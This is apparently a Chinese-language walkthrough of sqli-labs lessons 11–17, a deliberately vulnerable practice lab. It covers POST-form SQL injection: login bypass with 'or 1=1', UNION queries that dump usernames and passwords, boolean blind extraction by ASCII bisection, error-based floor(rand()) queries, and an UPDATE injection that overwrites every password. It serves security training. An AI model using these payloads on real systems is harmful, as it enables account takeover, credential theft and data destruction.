Less-11 POST –单引号 – 字符型
我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器再进行验证。这就是一次 post 的过程的。
在 post 过程中,我们输入的用户名和密码最后在后台处理的过程中依旧会形成前面所见到 的 sql 语句。
首先输入 username:admin’–+(这里是- - +) Password:随便 显示错误了,可以从错误中分析到程序对参数进行单引号的处理。 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘vvv’ LIMIT 0,1’ at line 1 可以判断是单引号,查看代码
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
在输入框输入万能密码来尝试一下,输入:admin’or’1’=‘1#,密码随意。 返回的正确的结果。 当我们提交 username 和 password 后,后台形成的 sql 语句为sql="select username, password from users where username=‘admin’or’1’=‘1# and password=’$passwd’ limit 0,1"; 前面的内容因为 or 1=1 恒成立,所以语句就成立,我们此时以admin 的用户登录。
那么接下来我们尝试用 get 注入中用到的其他的语句代替 or 1=1 进行注入。用 union 注入进行尝试: username:admin’ union select database(),version()# passwd=随便
可以看到显示了 database 为 security,这是我们比较常用的手法。 还可以利用其他的方法进行注入。上述在 get 型注入中提到的语句都可以使用。
查库 111 'union select 1, group_concat(schema_name) from information_schema.schemata#
查表 111’ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查列 111’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#
查数据 111’ union select group_concat(password) ,group_concat(username) from security.users#
Less-12 POST – 双引号 – 字符型
查看代码
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
查库 111") union select 1, group_concat(schema_name) from information_schema.schemata#
查表 111") union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
查列 111") union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#
查数据 111") union select group_concat(password) ,group_concat(username) from security.users#
Less-13 :POST – 基于错误 – 引号 – 字符型
查看代码
$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
echo "<br>";
//echo 'Your Login name:'. $row['username'];
//echo "<br>";
//echo 'Your Password:' .$row['password'];
//echo "<br>";
我们可以看到本关不会显示你的登录信息了,只能给你一个是否登录成功的返回数据。 盲注部分利用在LESS-5的知识
方法具体可以参考LESS15
Less-14 POST – 基于错误 – 双引号 – 字符型
这里和 less13 一样,主要是熟悉利用盲注 只不过是双引号
sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
方法具体可以参考LESS15
Less-15 POST – 基于布尔 – 单引号 – 字符型
构造注入语句,猜测当前数据库库名 uname=1’ or (select ascii(substr(database(),1,1)) > 110)#&passwd=&submit=Submit 返回正确 uname=1’ or (select ascii(substr(database(),1,1)) > 120)#&passwd=&submit=Submit 返回错误,说明数据库名的第一个字符的 ascii 码范围是 110<=ascii<120
uname=1’ or (select ascii(substr(database(),1,1)) = 115)#&passwd=&submit=Submit 返回正确,说明数据库名的第一个字符的 ascii 码是 115
uname=1’ or (select ascii(substr(database(),2,1)) = 101)#&passwd=&submit=Submit 115 对应的字母为s,101对应e,与当前数据库的名匹配(security) 后面步骤略
构造注入语句,测测当前数据库的表名 uname=1’ or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 100)#&passwd=&submit=Submit 返回正确 uname=1’ or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) > 105)#&passwd=&submit=Submit 返回错误,说明当前数据库的第一个数据表的表名的第一个字符的 ascii 码的范围是 100<ascii<=105
uname=1’ or (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) = 101)#&passwd=&submit=Submit 返回正确,说明当前数据库的第一个数据表的表名的第一个字符的 ascii 码为 101 ascii101 对应的字符为’e’,和数据库中的第一个表名的第一个字符’e’相对应,说明判断正 确,以此可以得出其他说所有的表名
构造语句,得出数据库表中的数据 uname=1’ or 1=1 order by 2#&passwd=&submit=Submit 返回正确,说明字段数为 2(然而用不到)
uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) > 100)#&passwd=&submit=Submit 返回错误 uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) > 50)#&passwd=&submit=Submit 返回正确,说明 users 表中的第一个 username 的第一个字符的 ascii 码的范围是 50<ascii<=100
uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) > 75)#&passwd=&submit=Submit 返回错误,说明 users 表中的第一个 username 的第一个字符的 ascii 码的范围是 50<ascii<=75
uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) > 60)#&passwd=&submit=Submit 返回正确,说明 users 表中的第一个 username 的第一个字符的 ascii 码的范围是 60<ascii<=75
uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) > 68)#&passwd=&submit=Submit 返回错误,说明 users 表中的第一个 username 的第一个字符的 ascii 码的范围是 60<ascii<=68
uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) > 64)#&passwd=&submit=Submit 返回正确,说明 users 表中的第一个 username 的第一个字符的 ascii 码的范围是 64<ascii<=68
uname=1’ or (select ascii(substr((select username from users limit 0,1),1,1)) > 67)#&passwd=&submit=Submit 返回正确,说明 users 表中的第一个 username 的第一个字符的 ascii 码是 68 Ascii 码 68 对应的字符为 D,与第一个用户名 Dump 相对应,说明判断正确,依次可以得出 其他数据
Less-16 POST – 基于时间 – 双引号和括号 – 字符型盲注
和15关一样,只不过是’改为"),方法同LESS15
Less-17 POST – UPDATA– 基于错误 – 单引号 – 字符型
常规测试 uname=123&passwd=123&submit=Submit uname=admin&passwd=123&submit=Submit
update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
可以看到username 不存在注入,接下来测试 password
uname=admin&passwd=123"&submit=Submit 修改成功 uname=admin&passwd=123’&submit=Submit 出现错误You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘admin’’ at line 1
前端注入测试(基于错误的注入) uname=admin&passwd=111’ or 1=1 #&submit=Submit 因为 111’ or 1=1 的逻辑判断始终为真,且 WHERE 条件被注释掉,所以所有的 password 都 变成了 111,修改注入语句,进一步注入
获取当前数据库名 uname=admin&passwd=123’ AND (select 1 from (select count(*),(concat(““,database(),””,floor(rand()*2)))name from information_schema.tables group by name)b) #&submit=Submit
获取表名 uname=admin&passwd=123’ AND (select 1 from (select count(*),(concat(“~”,(select table_name from information_schema.tables where table_schema=database() limit 0,1),“~”,floor(rand()*2)))name from information_schema.tables group by name)b)#&submit=Submit
获取字段名 uname=admin&passwd=123’ AND (select 1 from (select count(*),(concat(“~”,(select column_name from information_schema.columns where table_name=‘users’ limit 0,1),“~”,floor(rand()*2)))name from information_schema.tables group by name)b) #&submit=Submit
获取表中的数据 uname=admin&passwd=123’ AND (select 1 from (select count(*),(concat(“~”,(select username from users limit 0,1),“~”,floor(rand()*2)))name from information_schema.tables group by name)b) #&submit=Submit
|